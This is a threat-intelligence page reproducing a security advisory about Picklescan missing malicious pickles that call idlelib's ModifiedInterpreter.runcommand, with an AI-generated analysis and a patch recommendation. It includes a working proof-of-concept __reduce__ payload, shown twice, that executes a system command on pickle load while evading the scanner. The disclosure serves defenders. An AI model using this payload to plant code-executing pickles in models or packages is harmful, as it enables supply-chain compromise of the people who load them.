Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand (CVE-2025-71357)
### Summary Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncommand: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace(executing=False), rpcclt=None, debugger=None ) return ModifiedInterpreter.runcommand, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
AI Analysis
Technical Summary
The vulnerability in Picklescan arises because it does not detect malicious payloads that exploit the idlelib.pyshell.ModifiedInterpreter.runcommand function during pickle deserialization. An attacker can craft a pickle file whose reduce method calls this function with a payload that executes arbitrary system commands. When Picklescan scans such a file, it fails to flag it as dangerous, leading to execution of the embedded code when the pickle file is loaded. This can be used to perform remote code execution, posing a supply chain risk especially in ML models or APIs that use pickle serialization.
Potential Impact
Any user or organization relying on Picklescan to detect malicious pickle files is at risk. Attackers can embed undetected malicious code in pickle files that execute upon loading, potentially leading to remote code execution. This vulnerability can be exploited to distribute infected pickle files across machine learning models, APIs, or saved Python objects, facilitating supply chain attacks.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade Picklescan to version 0.0.30 or later to ensure detection of malicious payloads involving idlelib.pyshell.ModifiedInterpreter.runcommand. Until patched, avoid loading pickle files from untrusted sources even if Picklescan reports them as safe.
Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcommand (CVE-2025-71357)
Description
### Summary Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncommand: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace(executing=False), rpcclt=None, debugger=None ) return ModifiedInterpreter.runcommand, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu
CVSS v4.0
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
Weaknesses
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The vulnerability in Picklescan arises because it does not detect malicious payloads that exploit the idlelib.pyshell.ModifiedInterpreter.runcommand function during pickle deserialization. An attacker can craft a pickle file whose reduce method calls this function with a payload that executes arbitrary system commands. When Picklescan scans such a file, it fails to flag it as dangerous, leading to execution of the embedded code when the pickle file is loaded. This can be used to perform remote code execution, posing a supply chain risk especially in ML models or APIs that use pickle serialization.
Potential Impact
Any user or organization relying on Picklescan to detect malicious pickle files is at risk. Attackers can embed undetected malicious code in pickle files that execute upon loading, potentially leading to remote code execution. This vulnerability can be exploited to distribute infected pickle files across machine learning models, APIs, or saved Python objects, facilitating supply chain attacks.
Mitigation Recommendations
A patch is available for this vulnerability. Users should upgrade Picklescan to version 0.0.30 or later to ensure detection of malicious payloads involving idlelib.pyshell.ModifiedInterpreter.runcommand. Until patched, avoid loading pickle files from untrusted sources even if Picklescan reports them as safe.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- GHSA-j343-8v2j-ff7w
- Osv Schema Version
- 1.4.0
- Aliases
- ["CVE-2025-71357"]
- Ecosystems
- ["PyPI"]
- Database Specific Severity
- HIGH
- Cvss Version
- 4.0
Threat ID: 6aa47eb655bf5e2cf5857961
Added to database: 09/11/2026, 22:20:38 UTC
Last enriched: 09/11/2026, 22:47:10 UTC
Last updated: 09/12/2026, 02:01:23 UTC
Views: 6
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.